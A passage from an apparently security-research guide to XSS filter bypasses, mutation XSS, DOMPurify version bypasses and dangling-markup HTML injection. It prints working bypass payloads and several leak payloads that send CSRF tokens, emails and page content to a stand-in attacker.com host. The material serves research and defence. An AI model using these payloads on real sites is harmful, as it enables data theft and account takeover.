<figure><img src="/files/EgDSiLm4aKmEYVQsGZYF" alt=""><figcaption><p>XSS mutation points with possible special characters (<a href="https://twitter.com/hackerscrolls/status/1273254212546281473?s=21">source</a>)</p></figcaption></figure>

The XSS Cheat Sheet by PortSwigger has an extremely comprehensive list of all possible tags, attributes, and browsers that allow JavaScript execution, with varying levels of user interaction:

{% embed url="<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>" %}
Filterable list of almost every imaginable HTML that can trigger JavaScript
{% endembed %}

You can use the above list to filter certain tags you know are allowed/blocked, and copy all payloads for fuzzing using a tool to find what gets through a filter.

The *Shazzer* tool is useful for finding fuzzing examples other people have already made, and creating your own ones without worrying about how to iterate through your options. Simply provide a template and an insertion point, and let it try a bunch of variations:

{% embed url="<https://shazzer.co.uk/>" %}
Easy to use JavaScript/HTML fuzzing tool with shared results
{% endembed %}

#### JavaScript payload

In case you are able to inject JavaScript correctly but are unable to exploit it due to the filter blocking your JavaScript payload, there are many tricks to still achieve code execution. One of them is using the `location` variable, which can be assigned to a `javascript:` URL just like in DOM XSS, but this is now a very simple function call trigger as we don't need parentheses or backticks, as we can escape them in a string like `\x28` and `\x29`.

```
location="javascript:alert\x28\x29"
```

{% embed url="<https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md>" %}
More tricks to run arbitrary JavaScript without paratheses to bypass filters
{% endembed %}

In fact, we can even go one step further and use the global `name` variable which is controllable by an attacker. So global, that it **persists between navigations**. When a victim visits our site like in an XSS scenario, we can set the `name` variable to any payload we like and redirect to the vulnerable page to trigger it (see [this video](https://www.youtube.com/watch?v=3zShGLEqDn8) for more info and explanation):

{% code title="JavaScript Payload" %}

```javascript
location=name
```

{% endcode %}

<pre class="language-html" data-title="Attacker&#x27;s page"><code class="lang-html">&#x3C;script>
<strong>  name = "javascript:alert()";
</strong><strong>  window.open("https://target.com/?xss=location%3Dname", "_self");
</strong>  // use of "_self" doesn't require interaction, and works on Firefox
&#x3C;/script>
</code></pre>

### Mutation XSS & DOMPurify

Mutation XSS is a special kind of XSS payload where you are **abusing a difference in the checking environment vs. the destination environment**. There are some special browser rules for when HTML finds itself in certain tags, that are different from inside other tags. This difference can sometimes be abused to create a benign payload in the checking context but will be mutated by the browser in a different context into a malicious payload.

I myself went into detail on this technique in late 2024, and explain the ideas in detail in the blog post below, together with some new tricks:

{% embed url="<https://jorianwoltjer.com/blog/p/hacking/mutation-xss>" %}
Explanation of mXSS, CVE-2024-52595 and some advanced techniques
{% endembed %}

Let's take the following example: The [DOMPurify](https://github.com/cure53/DOMPurify) sanitizer is used to filter out malicious content that could trigger JavaScript execution, which it does perfectly on the following string:

{% code title="DOMPurify" %}

```html
<p id="</title><img src=x onerror=alert()>"></p>
```

{% endcode %}

There is a `<p>` tag with `"</title><img src=x onerror=alert()>"` as its `id=` attribute, nothing more, and nothing that would trigger JavaScript surely. But then comes along the browser, which sees this payload placed into the DOM, inside the existing `<title>` tag:

<pre class="language-html" data-title="Browser DOM"><code class="lang-html">&#x3C;title>
<strong>    &#x3C;p id="&#x3C;/title>&#x3C;img src=x onerror=alert()>">&#x3C;/p>
</strong>&#x3C;/title>
</code></pre>

Perhaps surprisingly, it is **parsed differently** now that it is inside of the `<title>` tag. Instead of a simple `<p>` tag with an `id=` attribute, this turned into the following after mutation:

{% code title="Browser DOM after mutation" %}

```html
<html><head><title>
    &lt;p id="</title></head><body><img src="x" onerror="alert()">"&gt;<p></p>
</body></html>
```

{% endcode %}

See what happened here? It suddenly closed with the `</title>` tag and started an `<img>` tag with the malicious `onerror=` attribute, executing JavaScript, and causing XSS! This means in the following example, `alert(1)` fires but `alert(2)` does not:

<pre class="language-html" data-title="Demo"><code class="lang-html">&#x3C;title>
<strong>    &#x3C;p id="&#x3C;/title>&#x3C;img src=x onerror=alert(1)>">&#x3C;/p>
</strong>&#x3C;/title>
<strong>&#x3C;p id="&#x3C;/title>&#x3C;img src=x onerror=alert(2)>">&#x3C;/p>
</strong></code></pre>

DOMPurify does not know of the `<title>` tag the application puts it in later, so it can only say if the HTML is safe on its own. In this case, it is, so we bypass the check through Mutation XSS.

<figure><img src="/files/zf6O6rM86vCdTA7LcZhz" alt=""><figcaption><p>Example from <a href="https://mizu.re/post/intigriti-october-2023-xss-challenge">mizu.re's writeup</a> showing the difference between the browser and DOMPurify</p></figcaption></figure>

A quick for-loop later we can find that this same syntax works for all these tags:\
`iframe`, `noembed`, `noframes`, `noscript`, `script`, `style`, `textarea`, `title`, `xmp`

These types of Mutation XSS tricks are highly useful in bypassing simpler sanitizer parsers because DOMPurify had to really put in some effort to get this far. Writing payloads that put the real XSS in an attribute and use mutation to escape out of it can be unexpected and the developers may not have thought about the possibility, and only use some regexes or naive parsing.

Where this gets really powerful is using HTML encoding if the sanitizer parses the payload, and then reassembles the HTML afterward, for example:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;title>&#x3C;p id="&#x26;lt;&#x26;sol;title&#x26;gt;&#x26;lt;img src&#x26;equals;x onerror&#x26;equals;alert&#x26;lpar;&#x26;rpar;&#x26;gt;">&#x3C;/p>&#x3C;/title>
</strong>&#x3C;!-- could be serialized back into this Mutation XSS -->
&#x3C;title>&#x3C;p id="&#x3C;/title>&#x3C;img src=x onerror=alert()>">&#x3C;/p>&#x3C;/title>
</code></pre>

***

[@kevin\_mizu](https://twitter.com/kevin_mizu/status/1735984327274688630) showed another interesting exploitable scenario, where your input is placed inside an `<svg>` tag after sanitization:

<pre class="language-html"><code class="lang-html">&#x3C;svg>
<strong>    a&#x3C;style>&#x3C;!--&#x3C;/style>&#x3C;a id="--!>&#x3C;img src=x onerror=alert()>">&#x3C;/a>
</strong>&#x3C;/svg>
</code></pre>

This is another DOMPurify "bypass" with a more common threat, all a developer needs to do is put your payload inside of an `<svg>` tag, without sanitizing it with the `<svg>` tag. This payload is a bit more complicated as you'll see, but **here's a breakdown**:\
The trick is the difference between SVG parsing and HTML parsing. *In HTML* which DOMPurify sees, the `<style>` tag is special as it switches the parsing context to CSS, which doesn't support comments like `<!--` and it won't be interpreted as such. Therefore the `</style>` closes it and the `<a id="...">` opens another innocent tag and attribute. DOMPurify doesn't notify anything wrong here and won't alter the input.\
*In SVG,* however, the `<style>` tag doesn't exist and it is interpreted as any other invalid tag in XML. The children inside might be more tags, a `<!--` comment in this case. This only ends at the start of the `<a id="--!>` attribute and that means after the comment comes more raw HTML. Then our `<img onerror=>` tag is read for real and the JavaScript is executed!

{% hint style="info" %}
**Tip**: Instead of a comment, another possibility is using the special `<![CDATA[` ... `]]` syntax in SVGs that abuses a similar parsing difference:

<pre class="language-html"><code class="lang-html">&#x3C;svg>
<strong>    a&#x3C;style>&#x3C;![CDATA[&#x3C;/style>&#x3C;a id="]]>&#x3C;img src=x onerror=alert()>">&#x3C;/a>
</strong>&#x3C;/svg>
</code></pre>

{% endhint %}

#### DOMPurify outdated versions

While the abovementioned tricks can get around specific situations, an *outdated version* of the [`dompurify`](https://www.npmjs.com/package/dompurify) library can cause every output to be vulnerable by completely bypassing DOMPurify in a regular context. The **latest vulnerable version is 3.1.2**, with the following two articles explaining in detail how the recent techniques work:

{% embed url="<https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes>" %}
Bypasses of versions 3.1.0-3.1.2 using node flattening (credits to [@IcesFont](https://x.com/IcesFont2))
{% endembed %}

{% embed url="<https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations>" %}
Common misconfigurations in various later versions
{% endembed %}

The latest vulnerable default version that doesn't use deep nesting is 2.2.3 by [@TheGrandPew](https://twitter.com/TheGrandPew) in *dec. 2020*. The following payload will trigger `alert(origin)` when sanitized and put into any regular part of the DOM:

{% code title="DOMPurify 2.2.3 Bypass" overflow="wrap" %}

```html
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src onerror=alert(origin)>">
```

{% endcode %}

All versions <= 2.5.2 or <= 3.1.2 are vulnerable by default, here's the payload for **3.1.0** (see the above writeups for variations on later versions):

{% code title="DOMPurify 3.1.0 Bypass" %}

```html
<div*506>
<table>
  <caption>
    <svg>
      <title>
        <table><caption></caption></table>
      </title>
      <style><a id="</style><img src=x onerror=alert(origin)>"></a></style>
    </svg>
  </caption>
</table>
```

{% endcode %}

{% code title="Copyable" %}

```html
<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><table><caption><svg><title><table><caption></caption></table></title><style><a id="</style><img src=x onerror=alert(origin)>"></a></style></svg></caption></table>html
```

{% endcode %}

{% hint style="info" %}
**Earlier Proof of Concepts**:

[**<= 3.1.2** - Kevin Mizu & RyotaK](https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes#proof-of-concept-3)\
[**<= 3.1.1** - Kevin Mizu](https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes#proof-of-concept-2)\
[**<= 3.1.0** - IcesFont](https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes#proof-of-concept-1)

[**< 2.2.4** - TheGrandPew](https://twitter.com/TheGrandPew/status/1338773976034598917)\
[**< 2.2.3** - TheGrandPew](https://twitter.com/TheGrandPew/status/1336901666285604866)\
[**< 2.2.2** - Daniel Santos](https://vovohelo.medium.com/from-svg-and-back-yet-another-mutation-xss-via-namespace-confusion-for-dompurify-2-2-2-bypass-5d9ae8b1878f)\
[**< 2.1** - Gareth Heyes](https://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss)\
[**< 2.0.17** - Michał Bentkowski](https://www.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass.html)
{% endhint %}

For the latest news and configuration-dependent bypasses, check out the changelog:

{% embed url="<https://github.com/cure53/DOMPurify/releases>" %}
Changelog of DOMPurify mentioning partial bypasses on specific versions
{% endembed %}

Also checkout this tool to identify unique features about different HTML sanitizers/parsers. You need to implement the logic for inputting and reading output HTML, then this tool will do the rest:

{% embed url="<https://github.com/Slonser/hui>" %}
Identify HTML sanitizers and parsers interactively
{% endembed %}

#### Server-Side parser differentials

Parsing HTML is hard, and if you're sanitizing content on the server before sending it to the client, there are often tiny differences in how the server vs. client sees the content.

One [example from DOMPurify](https://github.com/cure53/DOMPurify?tab=readme-ov-file#running-dompurify-on-the-server) is the **JSDOM** dependency which needs to be up to date to be accurate. Version **19.0.0**, for example, would parse the following HTML wrongly ([source](https://www.ias.cs.tu-bs.de/publications/parsing_differentials.pdf)):

```html
<svg><style>&lt;img src=x onerror=alert(origin)&gt;<keygen>
```

Another example is the pattern where a library like [`parse5`](https://www.npmjs.com/package/parse5) serializes the inner content all children, but assumes these are all in the HTML namespace. If you inject a `<math>` tag in the root, it will parse as MathML to the server but then serialize the HTML without that context. This causes the browser to see it as regular HTML and turn into a namespace confusion exploitable using `<style>`:

```javascript
import * as parse5 from 'parse5';

function parse(text) {
    const fragment = parse5.parseFragment(`<div>${text}</div>`);
    // Imagine sanitization here
    console.log(fragment.childNodes[1].childNodes[0].childNodes[0]);
    // {nodeName: '#comment', data: '</style><img src onerror=alert()></div>'}
    return fragment.childNodes.map(node => parse5.serialize(node)).join('');
}

console.log(parse("</div><math><style><!--</style><img src onerror=alert()>"));
```

During parsing it is correctly seen as the MathML namespace and the `<!--` comment syntax prevents the style tag from closing. The payload is seen as a *comment*.\
The result in the browser omits the `<div>` and `<math>` root-level tags, causing the XML comment not to be recognized and the `</style>` actually closes it, bringing the context back from CSS to HTML.

<figure><img src="/files/Yn6fQgvbn6JvA6NlsK4l" alt=""><figcaption><p>Parsed result of sanitization in the browser, executing payload</p></figcaption></figure>

#### Resources

* Easy-to-follow Google Search mXSS: <https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/>
* Finding a custom variation of an outdated DOMPurify bypass specific to **Swagger UI**: [https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers](https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/#let%E2%80%99s-find-a-custom-variation-of-the-bypass)
  * *note*: for unique versions below 3 (2.X.X), you don't need mXSS:\
    <https://gist.github.com/JorianWoltjer/33e28f871652ac9e97086148ed965b54>
* More complex Universal mXSS: <https://twitter.com/garethheyes/status/1723047393279586682>

For more tricks and finding your own custom vectors, check out the following cheatsheet and tool:

{% embed url="<https://sonarsource.github.io/mxss-cheatsheet/>" %}
Mutation XSS **cheatsheet** containing many unique element behaviors useful for bypassing filters
{% endembed %}

{% embed url="<https://yeswehack.github.io/Dom-Explorer/dom-explorer/>" %}
Test HTML parsing/sanitization with great visualization and sharing capabilities
{% endembed %}

[^1]: slashes (/) and quotes (") disallowed

[^2]: quotes (") disallowed


# HTML Injection

Tricks possible with malicious HTML, in case XSS is not quite possible

## # Related Pages

{% content-ref url="/pages/nuWbpokKOs8Usfj67ig7" %}
[Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss)
{% endcontent-ref %}

## Dangling Markup

The idea of [Dangling Markup](https://lcamtuf.coredump.cx/postxss/) is to write incomplete HTML that slots sensitive information into some leakable field, such as an `<img src=`. By starting it with a `'` but not ending it, any other HTML will be appended to it, finally being close by a natural `'` anywhere below the injection point.

{% code title="Payload" %}

```html
<img src='//attacker-website.com?
```

{% endcode %}

{% code title="HTML Source" %}

```html
<img src='https://attacker.com?</div>
<input type="hidden" name="csrf" value="1337">
</form>
<p>I'm hacked? Oh no!</p>
```

{% endcode %}

This results in an image request to the following URL, which the attacker can decode to get the value of the sensitive CSRF token:

<https://attacker.com/?%3C/div%3E%3Cinput%20type=%22hidden%22%20name=%22csrf%22%20value=%221337%22%3E%3C/form%3E%3Cp%3EI>

You may also find a scenario where there is no double or single quote after the data you want to leak, but if the data you seek is close enough (eg. without or `>` in between), you could leak it *without quotes at all*. Below is an example where sensitive data is appended to your input:

{% code title="HTML Source" %}

```html
<img src=https://attacker.com?SECRET_DATA
<p>Some more text</p>
```

{% endcode %}

One annoying thing to work with is that Chromium denies any URLs (or `target` values) containing newlines. If the leaked content contains any newlines, as is pretty common for HTML, the attacker cannot receive a request. Minifiers will sometimes remove newlines as they are unnecessary, but more often than not, you will have to deal with this. Firefox still allows newlines in URLs, though, so you're not left without impact.

Another idea is to use `<textarea>`, as it will only be closed by the `</textarea>` string, or at the end of the document. You can then wrap this in a form to an attacker with a large submit button that leaks the value on click:

{% code title="HTML Source" %}

```html
<form action="https://attacker.com">
<button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
                             width: 100vw; height: 100vh; opacity: 0"></button>
<textarea name="leak">
<p>Your email: victim@example.com</p>
```

{% endcode %}

While this too works on Firefox, Chromium has a protection against this. There needs to be a natural `</textarea>` somewhere after your injection point.

<figure><img src="/files/5nKwYgKNFMFWAPEd9qpZ" alt="" width="563"><figcaption><p>Chromium denying an implicitly closed <code>&#x3C;textarea></code></p></figcaption></figure>

{% hint style="info" %}
**Note**: in case your HTML is *parsed and serialized* before being shown, it is hard to dangle half-open syntax. You may be able to exploit [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss#mutation-xss-and-dompurify) to confuse the parser and make it think your input is inside a `<style>` tag (CSS). Their text content is seen as raw and isn't altered. In the browser, however, due to some namespace confusion or other mutation it is seen as regular HTML and the tag is dangled.

```html
<style><img src='https://attacker.com?
```

{% endhint %}

### Bypass newline detection

Ideas taken from here:\
<https://nzt-48.org/slides/how-to-bypass-the-Content-Security-Policy.pdf>

#### UTF-16 iframe/stylesheet content

One very creative idea to bypass this restriction without scripts is if `<iframe>` tags are allowed with a `src=data:`. If this is the case, you can start a document with a UTF-16 charset and start a URL from there. The content after it will still be included in the `src=`, but is decoded as UTF-16, creating random chinese characters. The URL will then contain these high unicode characters instead of newlines, so they are allowed.

We'll use a great leak method that **automatically closes itself at the end of the document**:

{% code title="Encoded prefix" %}

```html
<style>*{background-image: url(https://attacker.com?
```

{% endcode %}

This is now [encoded as UTF-16](https://gchq.github.io/CyberChef/#recipe=Encode_text\('UTF-16LE%20\(1200\)'\)URL_Encode\(true\)\&input=PHN0eWxlPip7YmFja2dyb3VuZC1pbWFnZTogdXJsKGh0dHBzOi8vYXR0YWNrZXIuY29tPw), and put into an iframe `data:` URL:

<pre class="language-html" data-title="Payload" data-overflow="wrap"><code class="lang-html"><strong>&#x3C;iframe src='data:text/html;charset=utf-16,%3C%00s%00t%00y%00l%00e%00%3E%00%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00
</strong></code></pre>

Any leak-worthy content can now be added to the end, until a `'` closes it off:

<pre class="language-html" data-title="HTML Source" data-overflow="wrap"><code class="lang-html">&#x3C;iframe src='data:text/html;charset=utf-16,%3C%00s%00t%00y%00l%00e%00%3E%00%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00
<strong>&#x3C;p>Your email: victim@example.com&#x3C;/p>
</strong>&#x3C;footer>That's all folks!&#x3C;/footer>
</code></pre>

In the browser, the content inside the iframe now looks like our injected prefix, with some random characters after it. This causes the background image request to be sent:

<figure><img src="/files/uvkqL7jG4BMxxn6gMZXP" alt=""><figcaption><p>Iframe loads with UTF-16 decoded content, sensitive data turned into chinese</p></figcaption></figure>

<https://attacker.com/?%E3%B0%8A%E3%B9%B0%E6%BD%99%E7%89%B5%E6%94%A0%E6%85%AD%E6%B1%A9%E2%80%BA%E6%A5%B6%E7%91%A3%E6%B5%A9%E6%95%80%E6%85%B8%E7%81%AD%E6%95%AC%E6%8C%AE%E6%B5%AF%E2%BC%BC%E3%B9%B0%E3%B0%8A%E6%BD%A6%E7%91%AF%E7%89%A5%E5%90%BE%E6%85%A8>

The above leak can be decoded back into the original characters by reading the UTF-16 characters as bytes. This is easily done in Python:

{% code title="Decode leak" %}

```python
from urllib.parse import unquote
leak = "%E3%B0%8A%E3%B9%B0%E6%BD%99%E7%89%B5%E6%94%A0%E6%85%AD%E6%B1%A9%E2%80%BA%E6%A5%B6%E7%91%A3%E6%B5%A9%E6%95%80%E6%85%B8%E7%81%AD%E6%95%AC%E6%8C%AE%E6%B5%AF%E2%BC%BC%E3%B9%B0%E3%B0%8A%E6%BD%A6%E7%91%AF%E7%89%A5%E5%90%BE%E6%85%A8"
print(unquote(leak).encode('utf-16-le').decode("utf-8"))
# b'\n<p>Your email: victim@example.com</p>\n<footer>Tha'
```

{% endcode %}

The same can be done by loading a **stylesheet** from `data:` like this ([encode](https://gchq.github.io/CyberChef/#recipe=Encode_text\('UTF-16LE%20\(1200\)'\)URL_Encode\(true\)\&input=KntiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cHM6Ly9hdHRhY2tlci5jb20/)):

{% code title="Encoded prefix" %}

```css
*{background-image: url(https://attacker.com?
```

{% endcode %}

{% code title="Payload" overflow="wrap" %}

```html
<link rel="stylesheet" href='data:text/css;charset=utf-16,%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00
```

{% endcode %}

Although note that at this point, you are likely able to leak content through [CSS Injection](/web/client-side/css-injection) as well.

#### Iframe name attribute

When you are able to create an iframe with a remote source, the `name=` attribute is leakable cross-origin by reading the `window.name` variable as the attacker. This may include newlines, even on Chromium, because it is not a URL or target:

{% code title="HTML Source" %}

```html
<iframe src="https://attacker.com" name='
<p>Your email: victim@example.com</p>
<footer>That's all folks!</footer>
```

{% endcode %}

{% code title="Attacker Console" %}

```javascript
> window.name
'\n<p>Your email: victim@example.com</p>\n<footer>That'
```

{% endcode %}

This same attack works with `<object data=>` and `<embed src=>` tags too, which may have a more allowing CSP.

If the CSP doesn't allow any attacker's sources, but the page is iframable, we can take a trick from the [postMessage Exploitation](/web/client-side/cross-site-scripting-xss/postmessage-exploitation#nested-iframe) postMessage exploits by using `about:blank` and hijacking the iframe to read its name. This works because the name property is preserved across navigations.

{% embed url="<https://portswigger.net/research/bypassing-csp-with-dangling-iframes>" %}
Article explaining this trick of stealing the name with nested iframes
{% endembed %}

{% code title="Injection" %}

```html
<object data="about:blank" name='
```

{% endcode %}

<pre class="language-html" data-title="Exploit"><code class="lang-html">&#x3C;iframe id="iframe" src="https://target.tld/dangling-object">&#x3C;/iframe>
&#x3C;script>
  iframe.onload = () => {
    const object = iframe.contentWindow[0];
    object.location = "about:blank";  // Navigate to our same-origin

    const interval = setInterval(() => {
      object.origin;  // When it becomes same-origin
      clearInterval(interval);
<strong>      alert(object.name);  // Leak its name (kept after navigation)
</strong>    })
  }
&#x3C;/script>
</code></pre>

***

Another related trick relies on the [`<base>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/base) tag and its `target=` attribute. By clobbering it, every link on the page that the user may click (including ones by the attacker) will get their name set to the attribute value. This also supports newlines still and allows you to leak just as before, without iframes but requiring a click on the attacker's link inside the target page. Using CSS or classes you may be able to cover the whole screen.

{% embed url="<https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup>" %}
Article first explaining this technique with examples
{% endembed %}

{% code title="Injection" %}

```html
<a href="https://attacker.com/leak" style="position:fixed;top:0;left:0;width:100%;height:100%"></a>
<base target='
```

{% endcode %}

{% code title="<https://attacker.com/leak>" %}

```javascript
alert(window.name)  // Leak
```

{% endcode %}

### Leak via form & Referer

This next trick is for leaking with `<textarea>` using a form, while the [`form-action`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/form-action) CSP directive disallows external hosts. It only works in Chromium, so this requires a natural `</textarea>` after the injection point and the sensitive data.

Using the following injection, it is possible to leak the current URL via the [#referer](#referer "mention") request header:

{% code title="Referer leak" %}

```html
<img src="https://attacker.com" referrerpolicy="unsafe-url">
```

{% endcode %}

It will include all query parameters, and we can put sensitive dangled information in there by making a form with a GET method first:

<pre class="language-html" data-title="HTML Source"><code class="lang-html"><strong>&#x3C;form action="/referer-leak" method="GET">
</strong><strong>&#x3C;button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
</strong><strong>                             width: 100vw; height: 100vh; opacity: 0">&#x3C;/button>
</strong><strong>&#x3C;textarea name="leak">
</strong>&#x3C;p>Your email: victim@example.com&#x3C;/p>
&#x3C;div class="note">
  &#x3C;textarea>&#x3C;/textarea>
&#x3C;/div>
</code></pre>

This `action=` points to the location where the second referer-leaking HTML injection is stored. After clicking anywhere, the form submits and the value of the textarea is put into the `?leak=` query parameter. This allows it to be leaked by the referer payload:

<figure><img src="/files/KtO4G9Hr76DBD2lxOhoP" alt="" width="563"><figcaption><p>Step 1: Prepare form that puts sensitive data in query parameter + large submit button</p></figcaption></figure>

<figure><img src="/files/A5zEqHLnAhzD5RGW6nJp" alt="" width="563"><figcaption><p>Step 2: After submitting, leak is in URL and victim is brought to referer leak</p></figcaption></figure>

This will trigger the following request, that the attacker can decode to find the leaked information:

{% code overflow="wrap" %}

```http
GET / HTTP/1.1
Host: attacker.com
Referer: https://target.com/vulnerable?html=%3Cimg+src%3Dhttps%3A%2F%2Fattacker.com+referrerpolicy%3Dunsafe-url%3E&leak=%3Cp%3EYour+email%3A+victim%40example.com%3C%2Fp%3E%0D%0A%3Cdiv+class%3D%22write-note%22%3E%0D%0A++%3Ctextarea%3E
```

{% endcode %}

If the HTML-injection is *reflected with a* *GET parameter*, you can elegantly include this parameter in the form submission to the vulnerable endpoint:

<pre class="language-html" data-title="HTML Source"><code class="lang-html">&#x3C;form action="" method="GET">
<strong>&#x3C;input type="hidden" name="html" value="&#x3C;img src=https://attacker.com referrerpolicy=unsafe-url>">
</strong>&#x3C;button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
                             width: 100vw; height: 100vh; opacity: 0">&#x3C;/button>
&#x3C;textarea name="leak">
&#x3C;p>Your email: victim@example.com&#x3C;/p>
&#x3C;div class="note">
  &#x3C;textarea>&#x3C;/textarea>
&#x3C;/div>
</code></pre>

It will redirect the victim to the current path with query parameters like:

<https://target.com/vulnerable?html=%3Cimg+src%3Dhttps%3A%2F%2Fattacker.com+referrerpolicy%3Dunsafe-url%3E&leak=%3Cp%3EYour+email%3A+victim%40example.com%3C%2Fp%3E%0D%0A%3Cdiv+class%3D%22write-note%22%3E%0D%0A++%3Ctextarea%3E>

Then, the same as with the stored example happens, the injected Referer payload leaks the current URL with `&leak=`, and the attacker can decode it from their server logs.

### Dangling `<svg>` or `<math>`

Interesting things can happen when you dangle an [`<svg>`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/svg) or [`<math>`](https://developer.mozilla.org/en-US/docs/Web/MathML/Reference/Element/math) tag, as they **change the HTML namespace** for all following content. This changes how certain syntax is interpreted and may allow you to bypass a filter, or trigger some normally impossible behavior.

* In SVG, [`<script>`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/script) tags are supported, and their content is HTML-decoded! This means you can escape string contexts using `&quot;` and other HTML-escapes.

<pre class="language-html"><code class="lang-html"><strong>&#x3C;svg>
</strong>  &#x3C;script>
<strong>  	const input = "&#x26;quot;-alert(origin)//";
</strong>  &#x3C;/script>
</code></pre>

* In MathML, `<script>` tags are not recognized, so protections like hiding the `nonce=` attribute also also not applied.

{% embed url="<https://lab.ctbb.show/research/leaking-csp-nonces-css-mathml>" %}
Short post explaining how to leak CSP nonces with dangling `<math>`
{% endembed %}

These foreign namespaces are auto-closed when some HTML tags are encountered, specified in:\
<https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inforeign>

<pre class="language-html" data-title="Not working"><code class="lang-html">&#x3C;svg>
<strong>	&#x3C;p>not fine&#x3C;/p>
</strong>	&#x3C;script>&#x26;#x61;lert(origin)&#x3C;/script>
</code></pre>

<pre class="language-html" data-title="Working"><code class="lang-html">&#x3C;svg>
<strong>  &#x3C;a href="/this-is-fine">&#x3C;/a>
</strong>	&#x3C;script>&#x26;#x61;lert(origin)&#x3C;/script>
</code></pre>

## CSS Injection

If you can inject `<style>` tags, check out the following page on how to abuse that to leak other content on the page through selectors and fonts:

{% content-ref url="/pages/WMvDdA4lwRxUcgIoBSLf" %}
[CSS Injection](/web/client-side/css-injection)
{% endcontent-ref %}

In case you can only set the `style=` attribute, you cannot work with selectors or define fonts. This limits your abilities, but still allows two main ideas:

1. Set specific styles to full-screen any element you want, like an image to phish the user with a message and QR code, or even an iframe as explained in [#iframes](#iframes "mention").
2. Use `background-image: url(...)` to trigger a subresource request that can return a malicious `Link:` header as explained in [#link-response-header-with-preload-chrome-less-than-136](#link-response-header-with-preload-chrome-less-than-136 "mention").

## Redirect

One powerful HTML tag that can't even be mitigated by a CSP is the `<meta>` tag:

```html
<meta http-equiv="refresh" content="0; url=https://example.com">
```

With this `http-equiv=` value it acts as the [`Refresh:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Refresh) header, redirecting the document to a new URL after some number of seconds (0 in this case). It's a great way to get a victim to your attacker's page, either for phishing or to initiate another attack that requires you to have more control over the browser, such as CSRF or a complex XSS.

This is especially useful in [Headless Browsers](/web/client-side/headless-browsers) where most of the time it's supposed to be locked to one specific trusted site, but may be able to be redirected to an unsafe one that can, for example, pwn an outdated version.

## Referer

